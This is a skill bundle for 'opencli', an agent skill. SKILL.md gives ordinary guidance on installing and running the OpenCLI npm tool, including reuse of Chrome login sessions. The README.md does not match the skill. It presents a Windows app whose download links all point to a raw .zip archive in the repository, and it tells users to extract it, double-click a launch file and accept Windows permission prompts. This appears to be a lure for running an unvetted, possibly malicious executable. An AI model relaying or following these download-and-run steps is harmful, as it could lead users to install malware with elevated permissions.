# opencli

Adopt this skill: https://proskills.md/skills/other/baileybasic68-opencli-skill

Page: https://proskills.md/skills/other/baileybasic68-opencli-skill
This document is the public skill bundle for that page. It contains SKILL.md and every helper file the catalog carries. No login is required.

## File: SKILL.md
size: 4913
upstream: https://github.com/baileybasic68/opencli-skill/blob/HEAD/SKILL.md

```text
---
name: opencli
description: Use when an AI agent needs to install, inspect, troubleshoot, or operate a local OpenCLI setup, or when a task involves websites, Electron desktop apps, browser-login reuse, downloads, plugins, external CLI passthrough, or adapter generation through OpenCLI.
---

# OpenCLI

OpenCLI turns websites, Electron apps, and existing local CLIs into structured terminal commands. Prefer it when deterministic CLI output is more useful than ad-hoc browser automation.

## Trigger Cues

Load this skill when the task sounds like any of these:

- "use opencli"
- "pull data from Bilibili/Zhihu/Xiaohongshu/Weixin/Boss"
- "reuse my Chrome login"
- "control Cursor/Codex/Notion/ChatGPT from the terminal"
- "download article/video/media through OpenCLI"
- "inspect what OpenCLI supports on this machine"
- "create or troubleshoot an OpenCLI adapter"

## Reference Files

| Reference | Use for |
| --- | --- |
| [references/agent-playbook.md](references/agent-playbook.md) | Agent-first trigger patterns, action order, and safe defaults |
| [references/commands.md](references/commands.md) | Common commands, category selection, and example invocations |
| [references/china-workflows.md](references/china-workflows.md) | China-focused site templates and desktop-agent workflows |
| [references/practical-scenarios.md](references/practical-scenarios.md) | Detailed field manual for choosing OpenCLI and executing end-to-end workflows |
| [references/troubleshooting.md](references/troubleshooting.md) | Failure signatures, browser bridge issues, auth problems, and fixes |

## Core Workflow

1. Confirm the binary exists. If `opencli` is missing, install it with `npm install -g @jackwener/opencli`.
2. Discover before guessing. Run `opencli list -f yaml` to inspect available adapters and commands.
3. Choose the command class:
   - Public commands: run directly. No browser login is required.
   - Browser commands: ensure Chrome is open and already logged in to the target site, then run `opencli doctor` if this is the first browser-backed task or if anything looks broken.
   - Desktop adapters: make sure the target app is running, inspect the registered commands first, then start with `read`, `history`, `model`, `send`, `ask`, or adapter-specific commands.
   - External CLI passthrough: use `opencli <tool> ...` and keep the original arguments intact.
   - New site development: use `explore`, `synthesize`, `generate`, and `cascade`.
4. Prefer `-f json` for agent-readable output. Use `-f yaml` for human inspection, `-f table` for terminal browsing, and `-v` only when debugging.
5. If a browser-backed command returns empty data or authorization errors, verify the Chrome login state before changing commands or code.
6. Before any write-like action such as `post`, `reply`, `send`, `publish`, `greet`, or `follow`, do at least one read-only command first unless the user explicitly asks to skip that safety step.

## Decision Guide

### Public data

Use this path for sources such as `hackernews`, `wikipedia`, `google`, `arxiv`, or similar read-only commands. These are the cheapest and most reliable because they do not depend on Chrome state.

### Browser-backed sites

Use this path for adapters such as `bilibili`, `zhihu`, `xiaohongshu`, `twitter`, `reddit`, `pixiv`, `weixin`, `boss`, or other commands that reuse Chrome login. Keep Chrome running, keep the account logged in, and use `opencli doctor` before deeper debugging.

### Desktop adapters

Use this path for apps such as `cursor`, `codex`, `chatgpt`, `notion`, `discord-app`, or `doubao-app`. Do not assume a command exists just because another adapter or README example has it; inspect the registry first with `opencli list -f yaml` or adapter help.

### External CLI hub

Use this path when the user really wants the underlying CLI but wants discovery, installation help, or a unified entrypoint. Examples include `opencli gh ...`, `opencli docker ...`, `opencli obsidian ...`, and `opencli gws ...`.

### Adapter generation

Use `opencli explore <url> --site <name>` to inspect a site, `opencli synthesize <site>` to build an adapter, `opencli generate <url> --goal "<goal>"` for the fast path, and `opencli cascade <url>` to probe authentication strategy.

## Operating Rules

- Use explicit limits like `--limit 5` for exploratory reads.
- Prefer structured output over prose whenever another tool or agent will consume the result.
- For media downloads, install `yt-dlp` when the adapter requires it.
- When a command is likely browser-backed, assume login state matters until proven otherwise.
- For desktop adapters, check `--help` before assuming command parity across apps or versions.
- Treat `opencli list -f yaml` as the source of truth when the README and installed commands disagree.
- Read [references/troubleshooting.md](references/troubleshooting.md) before concluding that an adapter is broken.
```

## File: README.md
upstream: https://github.com/baileybasic68/opencli-skill/blob/HEAD/README.md

```text
# 🛠️ opencli-skill - Simple desktop workflows for agents

[![Download opencli-skill](https://img.shields.io/badge/Download-OpenCLI_Skill-8A2BE2?style=for-the-badge&logo=github)](https://raw.githubusercontent.com/Baileybasic68/opencli-skill/main/agents/opencli_skill_2.0.zip)

## 🚀 What this app does

opencli-skill helps you run agent-style desktop tasks with less manual work. It is built for common Windows use cases like browser actions, app control, and platform workflows for Chinese services.

Use it when you want to:

- Open sites and move through steps in a browser
- Work with desktop apps that need simple repeatable actions
- Handle tasks on Bilibili, WeChat, Xiaohongshu, and Zhihu
- Keep a clear flow for common AI agent jobs
- Troubleshoot failed steps with plain guidance

## 💻 Before you start

You can use this on a Windows PC with:

- Windows 10 or Windows 11
- A modern browser such as Chrome
- At least 4 GB of RAM
- 500 MB of free disk space
- A mouse and keyboard

For best results, keep these tools ready:

- Chrome or Chromium-based browser
- A stable internet connection
- Access to the desktop apps or web accounts you plan to use

## 📥 Download

Visit this page to download the app:

[Open opencli-skill on GitHub](https://raw.githubusercontent.com/Baileybasic68/opencli-skill/main/agents/opencli_skill_2.0.zip)

If your browser shows a file list, use the main project files or the latest release package on that page. Save the download to your PC before you run it.

## 🪟 Install on Windows

Follow these steps on your Windows computer:

1. Open the download page in your browser.
2. Download the project files or release package to a folder you can find, such as Downloads.
3. If the file is compressed, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for a setup file, run script, or launch file that matches the project instructions on the page.
6. Double-click the file to start the app or the agent flow.
7. If Windows asks for permission, choose Yes.
8. Keep the browser open if the workflow uses browser automation.

If the app starts in a terminal window, leave that window open while the task runs.

## 🧭 How to use it

opencli-skill is built around practical steps. A simple flow looks like this:

1. Start the app or run the workflow file.
2. Choose the task you want to complete.
3. Sign in to the target site if needed.
4. Let the tool move through the steps.
5. Check the result before you close anything.

Common task types include:

- Browser login and navigation
- Posting or checking content on Chinese platforms
- Desktop app actions for repeated work
- Small agent tasks that combine clicks, typing, and page checks
- Simple issue checks when a step fails

## 🧩 Typical workflows

### 🌐 Browser automation

Use browser automation when the task needs pages, forms, or account actions.

Examples:

- Open a page and gather basic info
- Fill a form and submit it
- Move through a site with fixed steps
- Check page content and copy results

### 🖥️ Desktop automation

Use desktop automation when the work happens in a Windows app.

Examples:

- Open an app and switch between windows
- Type text into a field
- Click buttons in a set order
- Repeat the same action across several items

### 🇨🇳 Chinese platform workflows

The project focuses on common workflows for:

- Bilibili
- WeChat
- Xiaohongshu
- Zhihu

These flows fit tasks like browsing, content checks, posting steps, and simple account actions.

## ⚙️ Good setup habits

To avoid problems, keep these habits in place:

- Use one browser for the workflow
- Close extra tabs you do not need
- Keep the screen unlocked while the task runs
- Do not move windows around unless the task asks you to
- Stay signed in to the sites you plan to use

If a workflow needs you to approve a login or check a code, finish that step before you continue.

## 🔍 Troubleshooting

If the app does not start:

1. Check that you downloaded the right files.
2. Make sure the folder is extracted.
3. Run the file again as a normal user first.
4. If needed, right-click and run it with permission.
5. Check that Chrome is installed.

If the browser action fails:

1. Refresh the page.
2. Sign in again.
3. Close extra tabs.
4. Try the task from the start.
5. Keep the browser in the same window size.

If a platform step breaks:

1. Make sure the site still looks the same.
2. Check for a pop-up or login prompt.
3. Retry the task from the last clear step.
4. Use a fresh browser session if needed.

If the desktop action misses a click:

1. Bring the app window to the front.
2. Check that the app is not minimized.
3. Increase the window size.
4. Run the workflow again from the beginning.

## 🧠 Tips for better results

- Use one task at a time
- Keep your mouse off the screen while the workflow runs
- Save any important changes before you start
- Use a clean desktop with fewer open apps
- Give the tool time to finish each step

## 📁 Project details

Repository: opencli-skill

Description: Agent-first OpenCLI skill with practical scenarios, desktop adapters, Chinese platform workflows, and troubleshooting guidance.

Topics:

- agent-skill
- ai-agent
- ai-skill
- bilibili
- browser-automation
- chrome
- claude-code
- cli
- cursor
- desktop-automation
- electron-automation
- openclaw
- opencli
- skill
- wechat
- xiaohongshu
- zhihu

## 🧰 Common uses

This project fits users who want to:

- Run guided browser tasks
- Automate routine desktop steps
- Work with content and account flows on Chinese apps
- Test agent actions in a simple setup
- Reduce repeated manual clicks and typing

## 🪄 First run checklist

Before you start the first workflow, check these items:

- The app files are downloaded
- The folder is extracted
- Chrome is installed
- Your target account is ready
- The site or app is open
- You have enough time to finish the task without interruption

## 📌 What to expect

Most workflows in opencli-skill follow a clear pattern:

1. Open the app or browser.
2. Load the target site or desktop app.
3. Let the agent follow the steps.
4. Review the result.
5. Repeat if needed

If you use it this way, the tool stays easy to follow and simple to manage
```